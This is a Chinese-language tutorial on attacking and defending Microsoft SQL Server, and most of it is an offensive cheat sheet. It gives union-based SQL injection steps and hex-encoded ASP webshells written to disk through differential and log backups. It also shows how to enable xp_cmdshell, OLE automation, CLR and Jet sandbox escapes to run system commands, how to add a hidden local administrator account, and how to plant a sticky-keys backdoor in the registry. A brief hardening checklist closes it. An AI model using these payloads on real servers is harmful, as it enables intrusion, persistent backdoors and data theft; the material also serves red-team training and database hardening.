数据库攻防之MSSQL
字数 1272 2025-08-09 13:33:38
MSSQL数据库攻防技术详解
1. MSSQL简介
MSSQL(Microsoft SQL Server)是由微软开发和推广的关系型数据库管理系统,广泛应用于ASPX站点、餐饮系统、事业单位系统和ERP系统等领域。
主要特点:
- 集成微软各类产品及资源
- 提供强大的可视化界面
- 高度集成的管理开发工具
- 适合缺少IT人才但资金充足的中小企业
2. MSSQL安装与连接
安装配置
-
下载安装包:
- 数据库引擎:SQLEXPR
- 管理工具:SQLEXPRADV
- 下载地址:https://www.microsoft.com/zh-CN/download/details.aspx?id=30438
-
安装步骤:
- 选择全新安装
- 选择默认实例
- 服务器配置中将账户名修改为system
- 选择混合模式,设置密码
- 完成安装
连接配置
Windows连接:
- 本地连接:使用Windows身份验证
- 远程连接:
- 启用TCP/IP协议(SQL Server配置管理器)
- 允许远程连接(数据库属性)
- 开放1433端口防火墙规则
- 重启SQL Server服务
Linux连接工具:
- mssqlclient
- sqsh
- Navicat
3. MSSQL基本操作
基础查询
select db_name() -- 查看当前数据库
select @@version -- 查看数据库版本
select user_name() -- 查看当前用户名
select host_name() -- 查看计算机名
数据库操作
select name, database_id, create_date from sys.databases; -- 查询所有数据库
select * from sysobjects where xtype='U'; -- 查询所有表
sp_help/sp_columns test; -- 查看表结构
select top 10 * from users; -- 查看前10条记录
select * from Info.dbo.users where username='admin'; -- 查询具体信息
注释方式
-- 单行注释
/* 多行注释 */
4. MSSQL渗透技术
SQL注入攻击
默认数据库:
- master:系统级信息
- model:模板数据库
- msdb:代理配置
- tempdb:临时存储
注入步骤:
- 判断注入点:
id=2' - 确定字段数:
order by 4 - 确定回显位置:
union all select null,null,null,null - 获取基本信息:
select @@version select user select db_name() - 获取表名:
select top 1 name from mozhe_db_v2.sys.sysobjects where xtype='U' - 获取列名:
select top 1 name from mozhe_db_v2.sys.syscolumns where ID=OBJECT_ID('mozhe_db_v2.dbo.manage') - 获取数据:
select top 1 username,password from mozhe_db_v2.dbo.manage
文件写入技术
差异备份写入shell:
- 完整备份数据库:
backup database 库名 to disk = 'C:\ddd.bak'; - 创建表并插入数据:
create table [dbo].[dtest] ([cmd] [image]); insert into dtest(cmd) values(0x3c78656375746528726571756573742822636d64222929); - 差异备份:
backup database 库名 to disk='C:\目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;
日志备份写入shell:
if exists(select table_name from information_schema.tables where table_name='test_tmp') drop table test_tmp;
alter mydb set RECOVERY FULL;
create table test_tmp(a image);
backup log mydb to disk='C:/路径/asp.bak' with init;
insert into test_tmp(a) values (0x3C256578656375746528726571756573742822636d64222929253E);
backup log mydb to disk = 'C:/路径/123.asp';
drop table test_tmp;
提权技术
xp_cmdshell提权:
- 启用xp_cmdshell:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; - 执行系统命令:
EXEC master.dbo.xp_cmdshell 'whoami'; - 创建用户:
exec master..xp_cmdshell "net user mac QWEasd123 /add"; exec master..xp_cmdshell "net localgroup administrators mac /add";
sp_oacreate提权:
- 启用组件:
exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Ole Automation Procedures',1; reconfigure; - 执行命令:
declare @shell int; exec sp_oacreate 'wscript.shell',@shell output; exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt';
沙盒提权:
- 测试jet.oledb.4.0:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")') - 关闭沙盒模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
CLR提权:
- 启用CLR:
sp_configure 'show advanced options',1; RECONFIGURE; sp_configure 'clr enabled',1; RECONFIGURE; - 导入CLR程序集:
CREATE ASSEMBLY [mssql_CLR] FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE; - 创建CLR存储过程:
CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand] - 执行命令:
exec dbo.ExecCommand "whoami /all";
其他组件利用
xp_dirtree:
execute master..xp_dirtree 'c:' -- 列出所有文件
execute master..xp_dirtree 'c:',1 -- 只列目录
xp_fileexist:
exec master.sys.xp_fileexist 'D:\test.txt' -- 检查文件是否存在
xp_create_subdir:
exec master.sys.xp_create_subdir 'D:\test' -- 创建目录
xp_regread/xp_regwrite:
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE','Debugger','REG_SZ','c:\windows\system32\cmd.exe'
5. MSSQL安全防护
- 限制数据库外联:只允许必要IP访问
- 账户安全:
- 禁用SA账户或设置强密码
- 为每个数据库设置单独账户
- 禁用危险组件:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; - 权限控制:
- 采用最小权限原则
- 数据库服务不要使用系统权限
- 修改默认端口:更改1433默认端口
- 定期审计:检查异常登录和操作
6. 总结
MSSQL作为企业级数据库系统,在红队攻防中经常遇到。攻击者主要通过SQL注入获取信息、文件写入获取shell、各种提权技术获取系统权限等方式进行攻击。防御方应重点关注账户安全、组件管控和权限管理,实施最小权限原则,定期审计日志,及时发现和阻断攻击行为。